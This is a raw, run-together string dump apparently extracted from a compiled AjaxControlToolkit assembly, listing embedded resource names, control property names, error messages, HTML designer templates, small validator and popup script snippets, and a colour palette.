.gifAjaxControlToolkit.HTMLEditor.Images.ed_color_fg_clear_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_align_right_a.gifAjaxControlToolkit.MultiHandleSlider.Images.slider_h_rail_outer.gifAjaxControlToolkit.Seadragon.Seadragon.Spring.debug.jsAjaxControlToolkit.ReorderList.DraggableListItemBehavior.debug.jsAjaxControlToolkit.MaskedEdit.MaskedEditBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Underline.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.IncreaseIndent.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ImageButton.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.EditorToggleButton.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DecreaseIndent.debug.jsAjaxControlToolkit.Calendar.CalendarBehavior.debug.jsAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisibleControlBehavior.debug.jsAjaxControlToolkit.Seadragon.Seadragon.Spring.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Selector.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.IncreaseIndent.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ImageButton.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeBoxButton.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Copy.jsAjaxControlToolkit.HTMLEditor.Popups.PopupCommonButton.jsAjaxControlToolkit.HTMLEditor.Popups.Popup.jsAjaxControlToolkit.HTMLEditor.Popups.LinkProperties.jsAjaxControlToolkit.HTMLEditor.HTMLEditor.jsAjaxControlToolkit.HTMLEditor.DesignPanel.jsAjaxControlToolkit.MultiHandleSlider.MultiHandleSliderBehavior.jsAjaxControlToolkit.Seadragon.images.home_pressed.pngAjaxControlToolkit.Rating.Rating.icoAjaxControlToolkit.Accordion.Accordion.icoAjaxControlToolkit.HTMLEditor.Images.preview.gifAjaxControlToolkit.HTMLEditor.Images.ed_preview_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_link_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_sub_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_ltr_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_color_bg_clear_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_anchor.gifAjaxControlToolkit.HTMLEditor.Images.ed_1x1.gifAjaxControlToolkit.Seadragon.Seadragon.Profiler.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Selector.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.MethodButton.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.FixedColorButton.debug.jsAjaxControlToolkit.Seadragon.Seadragon.jsAjaxControlToolkit.Seadragon.Seadragon.Profiler.jsAjaxControlToolkit.Seadragon.Seadragon.Drawer.jsAjaxControlToolkit.Seadragon.Seadragon.Buttons.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Redo.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyLeft.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.HtmlMode.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColor.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Cut.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.BulletedList.jsAjaxControlToolkit.ComboBox.ComboBox.jsAjaxControlToolkit.ExtenderBase.BaseScripts.jsAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisibleControlBehavior.jsAjaxControlToolkit.Seadragon.images.home_rest.pngAjaxControlToolkit.ValidatorCallout.ValidatorCallout.cssAjaxControlToolkit.Tabs.Tabs.cssAjaxControlToolkit.HTMLEditor.Images.ed_media.gifAjaxControlToolkit.HTMLEditor.Images.ed_cut_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_color_bg_n.gifAjaxControlToolkit.Tabs.tab-left.gifAjaxControlToolkit.Tabs.tab.gifAjaxControlToolkit.Seadragon.Seadragon.Drawer.debug.jsAjaxControlToolkit.MultiHandleSlider.MultiHandleSliderBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paragraph.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.FixedForeColor.debug.jsAjaxControlToolkit.Compat.Timer.Timer.debug.jsAjaxControlToolkit.Accordion.AccordionBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Paragraph.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyCenter.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.HorizontalSeparator.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeImageButton.jsAjaxControlToolkit.HTMLEditor.Events.jsAjaxControlToolkit.Compat.Timer.Timer.jsAjaxControlToolkit.DropDown.DropDownBehavior.jsAjaxControlToolkit.PagingBulletedList.PagingBulletedListBehavior.jsAjaxControlToolkit.NumericUpDown.NumericUpDownBehavior.jsAjaxControlToolkit.ModalPopup.ModalPopupBehavior.jsAjaxControlToolkit.Common.Common.jsAjaxControlToolkit.Seadragon.images.zoomout_hover.pngAjaxControlToolkit.ValidatorCallout.ValidatorCallout.icoAjaxControlToolkit.Tabs.Tabs.icoAjaxControlToolkit.FilteredTextBox.FilteredTextBox.icoAjaxControlToolkit.DragPanel.DragPanel.icoAjaxControlToolkit.CollapsiblePanel.CollapsiblePanel.icoAjaxControlToolkit.HTMLEditor.Images.ed_selector_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_pasteText_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_align_center_n.gifAjaxControlToolkit.Tabs.tab-hover-right.gifAjaxControlToolkit.Slider.SliderBehavior.debug.jsAjaxControlToolkit.ListSearch.ListSearchBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OkCancelPopupButton.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyLeft.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertHR.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.FontSize.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Copy.debug.jsAjaxControlToolkit.HoverExtender.HoverBehavior.debug.jsAjaxControlToolkit.AutoComplete.AutoCompleteBehavior.debug.jsAjaxControlToolkit.Seadragon.Seadragon.DeepZoom.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.SuperScript.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OkCancelPopupButton.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.InsertLink.jsAjaxControlToolkit.AutoComplete.AutoCompleteBehavior.jsAjaxControlToolkit.NoBot.NoBotBehavior.jsAjaxControlToolkit.CascadingDropDown.CascadingDropDownBehavior.jsAjaxControlToolkit.DropShadow.DropShadow.icoAjaxControlToolkit.HTMLEditor.HtmlPanel.cssAjaxControlToolkit.HTMLEditor.Images.ed_unformat_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_redo_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_pasteWord_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_underline_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_italic_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_color_fg_clear_a.gifAjaxControlToolkit.MultiHandleSlider.Images.slider_v_rail_outer.gifAjaxControlToolkit.MultiHandleSlider.Images.slider_h_handle_hover.gifAjaxControlToolkit.Slider.Images.slider_v_handle.gifAjaxControlToolkit.Slider.Images.slider_h_handle.gifAjaxControlToolkit.Seadragon.Seadragon.ImageLoader.debug.jsAjaxControlToolkit.Seadragon.Seadragon.DisplayRect.debug.jsAjaxControlToolkit.PopupExtender.PopupBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignMode.debug.jsAjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.debug.jsAjaxControlToolkit.HTMLEditor.PreviewPanel.jsAjaxControlToolkit.HTMLEditor.EditPanel.jsAjaxControlToolkit.HTMLEditor.Editor.jsAjaxControlToolkit.ListSearch.ListSearchBehavior.jsAjaxControlToolkit.Common.Threading.jsAjaxControlToolkit.UpdatePanelAnimation.UpdatePanelAnimationBehavior.jsAjaxControlToolkit.Rating.RatingBehavior.jsAjaxControlToolkit.HoverMenu.HoverMenuBehavior.jsAjaxControlToolkit.CollapsiblePanel.CollapsiblePanelBehavior.jsAjaxControlToolkit.AsyncFileUpload.images.fileupload.pngAjaxControlToolkit.ReorderList.ReorderList.icoAjaxControlToolkit.HTMLEditor.Images.ed_undo_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_preview_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_list_num_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_link_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_sub_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_align_justify_n.gifAjaxControlToolkit.MultiHandleSlider.Images.slider_h_handle_down.gifAjaxControlToolkit.Seadragon.Seadragon.DeepZoom.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.Redo.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.PasteText.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ModeButton.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColorClear.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeSelectButton.debug.jsAjaxControlToolkit.HTMLEditor.Popups.OkCancelAttachedTemplatePopup.debug.jsAjaxControlToolkit.ComboBox.ComboBox.debug.jsAjaxControlToolkit.DropShadow.DropShadowBehavior.debug.jsAjaxControlToolkit.Seadragon.Seadragon.Rect.jsAjaxControlToolkit.Seadragon.Seadragon.DisplayRect.jsAjaxControlToolkit.HTMLEditor.Popups.PopupBoxButton.jsAjaxControlToolkit.Slider.SliderBehavior.jsAjaxControlToolkit.Accordion.AccordionBehavior.jsAjaxControlToolkit.Seadragon.images.fullpage_grouphover.pngAjaxControlToolkit.Animation.Animation.icoAjaxControlToolkit.AlwaysVisibleControl.AlwaysVisible.icoAjaxControlToolkit.HTMLEditor.Images.ed_indent_less_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_html_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_rtl_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_format_bold_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_color_bg_a.gifAjaxControlToolkit.Tabs.tab-hover.gifAjaxControlToolkit.ValidatorCallout.alert-large.gifAjaxControlToolkit.Tabs.Tabs.debug.jsAjaxControlToolkit.Seadragon.Seadragon.Viewport.debug.jsAjaxControlToolkit.Seadragon.Seadragon.TileSource.debug.jsAjaxControlToolkit.Seadragon.Seadragon.Point.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.OrderedList.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ColorButton.debug.jsAjaxControlToolkit.FilteredTextBox.FilteredTextBoxBehavior.debug.jsAjaxControlToolkit.ResizableControl.ResizableControlBehavior.debug.jsAjaxControlToolkit.NumericUpDown.NumericUpDownBehavior.debug.jsAjaxControlToolkit.Seadragon.Seadragon.Viewport.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.RemoveLink.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.FontName.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.CommonButton.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ColorSelector.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.BackColorClear.jsAjaxControlToolkit.HTMLEditor.Popups.BaseColorsPopup.jsAjaxControlToolkit.AsyncFileUpload.AsyncFileUpload.jsAjaxControlToolkit.Animation.AnimationBehavior.jsAjaxControlToolkit.PasswordStrength.PasswordStrengthExtenderBehavior.jsAjaxControlToolkit.CascadingDropDown.CascadingDropDown.icoAjaxControlToolkit.HTMLEditor.Images.ed_selector_a.gifAjaxControlToolkit.HTMLEditor.Images.ed_rule_n.gifAjaxControlToolkit.HTMLEditor.Images.ed_align_center_a.gifAjaxControlToolkit.MultiHandleSlider.Images.slider_v_handle.gifAjaxControlToolkit.Seadragon.Seadragon.debug.jsAjaxControlToolkit.Rating.RatingBehavior.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.PasteWord.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyFull.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ColorSelector.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.BackColorSelector.debug.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.BackColorClear.debug.jsAjaxControlToolkit.DragPanel.FloatingBehavior.debug.jsAjaxControlToolkit.Seadragon.Seadragon.ImageLoader.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.PreviewMode.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.PasteText.jsAjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColorClear.jsAjaxControlToolkit.MaskedEdit.MaskedEditBehavior.jsAjaxControlToolkit.Tabs.Tabs.jsAjaxControlToolkit.Calendar.CalendarBehavior.jsAjaxControlToolkit.Compat.DragDrop.DragDropScripts.jsAjaxControlToolkit.ValidatorCallout.ValidatorCalloutBehavior.jsAjaxControlToolkit.PopupControl.PopupControlBehavior.jsAjaxControlToolkit.Properties.Resources.resourcesAjaxControlToolkit.ScriptResources.ScriptResources.resourcesScriptPath_ClientStateG!clientStateFieldAnimationTime+ShowNavigationControlBlendTimeAlwaysBlend!AutoHideControlsImmediateRenderWrapHorizontalWrapVertical!MinZoomDimension#MaxZoomPixelRatioVisibilityRatioSpringStiffness!ImageLoaderLimit%ClickTimeThreshold%ClickDistThresholdZoomPerClickZoomPerSecond%maxImageCacheCountMinPixelRatioOnClientOpenOnClientErrorOnClientIgnoreOnClientResize-OnClientAnimationStart)OnClientAnimationEnd#OnClientAnimationMouseNavEnabledSourceUrl{ id = , anchor =  }, point = , placement = , rect = controlsoverlaysxmlPathprefixUrlEnabledaThis class does not allow setting of ScriptPath.BehaviorID{0}_ClientState%ClientStateFieldIDa{0} missing required {1} property value for {2}.AnimationTarget!DynamicControlID#DynamicContextKey%DynamicServicePath)DynamicServiceMethod'CacheDynamicResults9DynamicControlID must be setADynamicServiceMethod must be setPopupControlID%BackgroundCssClassOkControlIDCancelControlIDOnOkScriptOnCancelScriptXYstringDrag1PopupDragHandleControlID!stringDropShadowRepositionModeTargetControlKTargetControl property cannot be null	hide	show�];(function() {{var fn = function() {{AjaxControlToolkit.ModalPopupBehavior.invokeViaServer('{0}', {1}); Sys.Application.remove_load(fn);}};Sys.Application.add_load(fn);}})();false	true?ajax__htmleditor_toolbar_buttonPreservePlace;5HTMLEditor_toolbar_button__eAjaxControlToolkit.ScriptResources.ScriptResources
_titleNormalSrcHoverSrcDownSrcActiveSrcqToolbar's ImageButton can be inside Toolbar control only_n_agifKAjaxControlToolkit.HTMLEditor.Images..srcalted_redoed_align_leftActiveModeed_htmlrelatedPopupautoCloseed_color_fg
ed_cuted_list_bulletbaseTyperesourceName!fullResourceName#DropDownControlID)HighlightBorderColor%HighlightBackColor%DropArrowBackColor#DropArrowImageUrlDropArrowWidthOnClientPopup%OnClientPopulating#OnClientPopulated
OnShow
OnHideRenderModeDropDownStyle!AutoCompleteMode%ItemInsertLocationCaseSensitive+ListItemHoverCssClassborder-right0px noneTextBox
ButtonHiddenFieldOptionListTabletextBoxControlbuttonControl%hiddenFieldControl#optionListControl#comboTableControl!autoCompleteModedropDownStyle;ajax__combobox_inputcontainer?ajax__combobox_textboxcontainer=ajax__combobox_buttoncontainerrelative5pxautocompleteoff
hidden/ajax__combobox_itemlist	none
inline
safarifirefox
-block
InvokeExtender=ExtenderControlFeaturesPresent{0} ({1})TargetControlID'Add {0} page methodAddPageMethodPage Methods��Cannot create page method "{0}" because the extender is using web service "{1}" instead!EnvDTE._DTE��Cannot create page method "{0}" because {1} could not be acquired!��Cannot create page method "{0}" because no CodeBehind or CodeFile file was found!qWould you like to repair the existing page method "{0}"?1Repair "{0}" page method+Add "{0}" page methodCUnexpected error ({0}): {1}{2}{3})Ajax Control ToolkitWebMethodScriptMethodprojectItem5projectItem cannot be null!HorizontalOffsetHorizontalSideVerticalOffsetVerticalSide)ScrollEffectDurationUseAnimation��AlwaysVisibleControlExtender on '{0}' cannot have a negative VerticalOffset value��AlwaysVisibleControlExtender on '{0}' cannot have a negative HorizontalOffset value��AlwaysVisibleControlExtender on '{0}' must have a positive ScrollEffectDuration5Can't find child tab '{0}'ActiveTabIndexregions	c{0}��<div style='float:left;padding:2px;color:{3}; background-color:{4};{5};height:1em;' {0}='{1}'>{2}</div>�<a style='padding:2px;border-top:thin white inset;border-left:thin white inset; border-right:thin white inset;;' href='#'>{0}</a>{0}transparent��border-top:thin white outset;border-left:thin white outset;border-right:thin white outset;	h{0}	t{0}��<div style="padding:2px;width:{7};height:{8}">

        <div style='text-align:center;color:{0}; background-color:{1};border-left:thin white outset; border-right:thin white outset;height:1em;'>{2}</div>

        <div style='color:{3}; background-color:{4};border-left:thin white outset; border-right:thin white outset;height:1em;text-align:left;'>{5}</div>

                

  <div style='clear:both;text-align:left;border-left:thin white outset; border-bottom:thin white outset; border-right:thin white outset;background-color:{10};height:100%;' {9}='0'>{6}</div>

      

 </div>�5<div style='display:inline-block;padding:2px;'>

                    <div style='color:{0}; background-color:{1};border-left:thin white outset; border-right:thin white outset;'>{2}</div>

                    <div style="text-align:center;border-left:thin white outset; border-bottom:thin white outset; border-right:thin white outset;" {3}='0'>

        <a href='#'>Add New Tab</a></div>

                </div>#addtab
region_content_header9TabPanels must have IDs set.HeaderTemplateContentTemplateASetEditableDesignerRegionContentt!Add new TabPanel	TabsActiveTabRemove TabPanelOnAddTabPanelAdd Tab Panel!OnRemoveTabPanel!Remove Tab PanelIndexSize
HeightSeparator - MaxItemPerPageClientSort'SelectIndexCssClass+UnselectIndexCssClass!TargetButtonUpID%TargetButtonDownIDServiceUpPathServiceUpMethodServiceDownPath#ServiceDownMethod	StepMinimumMaximumRefValuesWidthTagChallengeScript'ed_format_paragraphed_align_center
ed_sep!background-color
cursor	textwidth	13pxFocusedpromptTextType to searchpromptCssClasspromptPositionQueryTimeoutQueryPatternIsSorteded_format_suped_linkHoverCssClassOffsetXOffsetYPopDelayHoverDelayPositionParentControlIDCategoryPromptTextPromptValueEmptyTextEmptyValueLoadingTextServicePathServiceMethodContextKeyUseContextKey:::'knownCategoryValues^[^/'\*]*$document#documentHierarchy;knownCategoryValuesDictionarycategory)inputValidationRegex7Invalid characters present.//{0}[(@name and @value='{1}') or (@name='{1}' and not(@value))]	namevaluedefault'MinimumPrefixLength%CompletionInterval%CompletionSetCount/CompletionListElementID-CompletionListCssClass5CompletionListItemCssClassKCompletionListHighlightedItemCssClassEnableCaching'DelimiterCharacters!FirstRowSelectedOShowOnlyCurrentWordInCompletionListItemOnClientShowingOnClientShownOnClientHidingOnClientHidden)OnClientItemSelected!OnClientItemOverOnClientItemOutanimationAnimationName#AnimationChildrendictionaryobj��Cannot deserialize an Animation without an AnimationName property
parentAParent Accordion cannot be null.ANo AccordionPane at position {0}IExpected an array of AccordionPanes.array=Cannot copy into a null array.aArray is not large enough for the AccordionPanes��Enumeration can't continue because the collection has been modified.OnUpdatingOnUpdated+AnimationTargetScriptTargetScript$get('{0}')ImageWidthImageHeight#UncheckedImageUrlCheckedImageUrl3DisabledUncheckedImageUrl/DisabledCheckedImageUrl'CheckedImageOverUrl+UncheckedImageOverUrl7UncheckedImageAlternateText3CheckedImageAlternateText;CheckedImageOverAlternateText?UncheckedImageOverAlternateTextRailCssClassHandleImageUrlHandleCssClass+EnableHandleAnimationStepsOrientationDecimalsBoundControlID
Length1RaiseChangeOnlyOnMouseUpTooltipTextEnableKeyboardAutoPostback0CallbackIDRatingDirectionMaxRatingStarCssClassReadOnly%FilledStarCssClass#EmptyStarCssClass'WaitingStarCssClassKajaxcontroltoolkit.maskededitextendereditPanelmarginheightmarginwidthframeborder#javascript:false;contentchanged	&lt;<	&gt;>
&quot;"&amp;&
<br />

/SuppressTabInDesignModeIgnoreTabNoUnicodeNoScriptInitialCleanUp#HtmlPanelCssClassEajax__htmleditor_htmlpanel_defaultDocumentCssPathDocument%DesignPanelCssPathDesignPanel_AjaxControlToolkit.HTMLEditor.Images.ed_1x1.gifcAjaxControlToolkit.HTMLEditor.Images.ed_flash.gifcAjaxControlToolkit.HTMLEditor.Images.ed_media.gifeAjaxControlToolkit.HTMLEditor.Images.ed_anchor.gifoAjaxControlToolkit.HTMLEditor.Images.ed_placeHolder.gifAutoFocusContent3OnClientActiveModeChanged?OnClientBeforeActiveModeChanged!_contentChanged__content__contentForce__activeMode_3(\(S\([A-Za-z0-9_]+\)\)/)=AjaxControlToolkit.HTMLEditor.	.cssIE1tabindex-1+contentChangedElement'contentForceElementcontentElement#activeModeElement/TopToolbarPreservePlace%ButtonImagesFolder?ajax__htmleditor_editor_default;ajax__htmleditor_editor_base changingToolbarCajax__htmleditor_editor_containerseparateEajax__htmleditor_editor_toptoolbarCajax__htmleditor_editor_editpanelKajax__htmleditor_editor_bottomtoolbarFixedForeColorFixedBackColor5arial,helvetica,sans-serifArial;courier new,courier,monospaceCourier NewGgeorgia,times new roman,times,serifGeorgiaCtahoma,arial,helvetica,sans-serif
Tahoma7times new roman,times,serifTimes New RomanEverdana,arial,helvetica,sans-serifVerdana
impact
ImpactwingdingsWingDings8pt1 ( 8 pt)	10pt2 (10 pt)	12pt3 (12 pt)	14pt4 (14 pt)	18pt5 (18 pt)	24pt6 (24 pt)	36pt7 (36 pt)'border-bottom-width0px!border-top-width��expression(AjaxControlToolkit.HTMLEditor.Editor.MidleCellHeightForIE(this.parentNode.parentNode.parentNode,this.parentNode))#CollapseControlIDExpandControlIDAutoCollapseAutoExpandCollapseHeightExpandedSizeScrollContents!SuppressPostBackCollapsedCollapsedTextExpandedTextTextLabelIDExpandedImageCollapsedImageImageControlIDExpandDirection��If CollapsedText or ExpandedText is set, TextLabelID must also be set.displayAutoSize%TransitionDurationFadeTransitionsFramesPerSecond#RequireOpenedPane/SuppressHeaderPostbacksHeaderCssClass-HeaderSelectedCssClassContentCssClassIItem type isn't valid for Add items.
{0}{1}	_rli{0}Insertvertical-align
middle#controltovalidatefocusOnErrorerrormessageisvalidFalseenabledvalidationGroupdisabledinline-block-ValidatorIncludeScript3document.getElementById("")Page_Validators_DisposeScript�

document.getElementById('{0}').dispose = function() {{

    Array.remove(Page_Validators, document.getElementById('{0}'));

}}

%WebUIValidation.js�#

var Page_ValidationActive = false;

if (typeof(ValidatorOnLoad) == "function") {

    ValidatorOnLoad();

}



function ValidatorOnSubmit() {

    if (Page_ValidationActive) {

        return ValidatorCommonOnSubmit();

    }

    else {

        return true;

    }

}

#ValidatorOnSubmit��if (typeof(ValidatorOnSubmit) == "function" && ValidatorOnSubmit() == false) return false;Aajax__htmleditor_popup_boxbutton
OnLoadOnClickOnMouseOverOnMouseOutOnHoverOverOnHoverOut'WarningIconImageUrlgAjaxControlToolkit.ValidatorCallout.alert-large.gifCloseImageUrl[AjaxControlToolkit.ValidatorCallout.close.gifCssClass#HighlightCssClassPopupPositionINVALIDCurrentViewTemplateIndex��<table cellspacing=0 cellpadding=0 border=0 style="display:inline-block">

                <tr>

                    <td nowrap align=center valign=middle style="color:{0}; background-color:{1}; ">{2}</td>

                </tr>

                <tr>

                    <td style="vertical-align:top;" {3}='0'>{4}</td>

                </tr>

          </table>�g

                <table cellspacing=0 cellpadding=0 border=0 style="display:inline-block;border:outset white 1px;">

                <tr>

                    <td nowrap align=center valign=middle style="background-color:{6}; "><span style="font:messagebox;color:{5}"><b>{8}</b> - {7}</span></td>

                </tr>               

                <tr>                

                <td>

                  <table cellspacing=0 cellpadding=2 border=0 style="margin:2px;border:solid 1px buttonface">

                    <tr style="font:messagebox;background-color:lightblue;color:black">

                      <td style="border:solid 1px buttonshadow">

                        &nbsp;{0}&nbsp;&nbsp;&nbsp;

                      </td>

                    </tr>

                    <tr style="{1}" height=100%>

                      <td style="{2}">

                        <div style="width:100%;height:100%" {3}='0'>{4}</div>

                      </td>

                    </tr>

                  </table>

                </td>

              </tr></table><br />Empty EError rendering ReorderList:<br />ItemTemplate!EditItemTemplate%DragHandleTemplateReorderTemplate%InsertItemTemplate#EmptyListTemplate/PreferredPasswordLength1MinimumNumericCharacters%HelpHandleCssClass%HelpHandlePosition#HelpStatusLabelID/MinimumSymbolCharactersGRequiresUpperAndLowerCaseCharactersTextCssClass#BarBorderCssClass)BarIndicatorCssClassPrefixTextStrength: DisplayPosition+StrengthIndicatorType+CalculationWeightings��There must be 4 Calculation Weighting items which must total 1001TextStrengthDescriptions�IInvalid property specification for TextStrengthDescriptions property. Must be a string delimited with '{0}', contain a minimum of {1} entries, and a maximum of {2}.StrengthStyles�-Invalid property specification for TextStrengthDescriptionStyles property. Must match the number of entries for the TextStrengthDescriptions property.5MinimumLowerCaseCharacters5MinimumUpperCaseCharacters	MaskKValidate Type and/or Mask is invalid!ClipboardText�Your browser security settings don't permit the automatic execution of paste operations. Please use the keyboard shortcut Ctrl+V instead.MaskType'MessageValidatorTip'ErrorTooltipEnabled)ErrorTooltipCssClass!ClipboardEnabledAutoComplete%ClearTextOnInvalid#AutoCompleteValueFilteredInputDirectionPromptCharOnFocusCssClassMaskedEditFocus#OnInvalidCssClassMaskedEditErrorUserDateFormatUserTimeFormat)ClearMaskOnLostfocusCultureName'OverridePageCulture-CultureDatePlaceholder-CultureTimePlaceholder3CultureDecimalPlaceholder7CultureThousandsPlaceholder#CultureDateFormatACultureCurrencySymbolPlaceholder-CultureAMPMPlaceholderAcceptAmPmAcceptNegative%OnFocusCssNegative/MaskedEditFocusNegative#OnBlurCssNegative-MaskedEditBlurNegativeDisplayMoneyCentury?The Century must have 4 digits.99/99/999999/9999/999999/99/9999/99/9999:99:9999:99'99/99/9999 99:99:99!99/99/9999 99:99'99/9999/99 99:99:99!99/9999/99 99:99'9999/99/99 99:99:99!9999/99/99 99:99#99/99/99 99:99:9999/99/99 99:99ed_unlink	nobr	spanclassIajax__htmleditor_toolbar_selectlablelabel
&nbsp;
selectKajax__htmleditor_toolbar_selectbutton<option value="">defaultValue</option>ed_selector	11px!fixedColorButtonMFixedColorButton control's ID expected#ed_color_bg_clear[,{name: ', clientID: }]%, callMethod: null3HTMLEditor_toolbar_popup__button__field_
iframescrollingnomarginHeightmarginWidthid!registeredFields%registeredHandlersabsolute-2000pxMajax__htmleditor_attachedpopup_default}AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.cssdivcontentDiv	10pxpointer#onclicksetColor("#	100%font-size1px
bordercellspacingcellpadding#000000
000000
003300
006600
009900
00CC00
00FF00
330000
333300
336600
339900
33CC00
33FF00
660000
663300
666600
669900
66CC00
66FF00
333333
000033
003333
006633
009933
00CC33
00FF33
330033
336633
339933
33CC33
33FF33
660033
663333
666633
669933
66CC33
66FF33
666666
000066
003366
006666
009966
00CC66
00FF66
330066
333366
336666
339966
33CC66
33FF66
660066
663366
669966
66CC66
66FF66
999999
000099
003399
006699
009999
00CC99
00FF99
330099
333399
336699
339999
33CC99
33FF99
660099
663399
666699
669999
66CC99
66FF99
CCCCCC
0000CC
0033CC
0066CC
0099CC
00CCCC
00FFCC
3300CC
3333CC
3366CC
3399CC
33CCCC
33FFCC
6600CC
6633CC
6666CC
6699CC
66CCCC
66FFCC
FFFFFF
0000FF
0033FF
0066FF
0099FF
00CCFF
00FFFF
3300FF
3333FF
3366FF
3399FF
33CCFF
33FFFF
6600FF
6633FF
6666FF
6699FF
66CCFF
66FFFF
FF0000
990000
993300
996600
999900
99CC00
99FF00
CC0000
CC3300
CC6600
CC9900
CCCC00
CCFF00
FF3300
FF6600
FF9900
FFCC00
FFFF00
990033
993333
996633
999933
99CC33
99FF33
CC0033
CC3333
CC6633
CC9933
CCCC33
CCFF33
FF0033
FF3333
FF6633
FF9933
FFCC33
FFFF33
990066
993366
996666
999966
99CC66
99FF66
CC0066
CC3366
CC6666
CC9966
CCCC66
CCFF66
FF0066
FF3366
FF6666
FF9966
FFCC66
FFFF66
990099
993399
996699
99CC99
99FF99
CC0099
CC3399
CC6699
CC9999
CCCC99
CCFF99
FF0099
FF3399
FF6699
FF9999
FFCC99
FFFF99
9900CC
9933CC
9966CC
9999CC
99CCCC
99FFCC
CC00CC
CC33CC
CC66CC
CC99CC
CCFFCC
FF00CC
FF33CC
FF66CC
FF99CC
FFCCCC
FFFFCC
FF00FF
9900FF
9933FF
9966FF
9999FF
99CCFF
99FFFF
CC00FF
CC33FF
CC66FF
CC99FF
CCCCFF
CCFFFF
FF33FF
FF66FF
FF99FF
FFCCFF+OnClientUploadStarted-OnClientUploadComplete'OnClientUploadErrorThrobberID#CompleteBackColor%UploadingBackColorErrorBackColor$
------error------qAjaxControlToolkit.AsyncFileUpload.images.fileupload.pngbackground:url(]) no-repeat 100% 1px; height:24px; margin:0px;
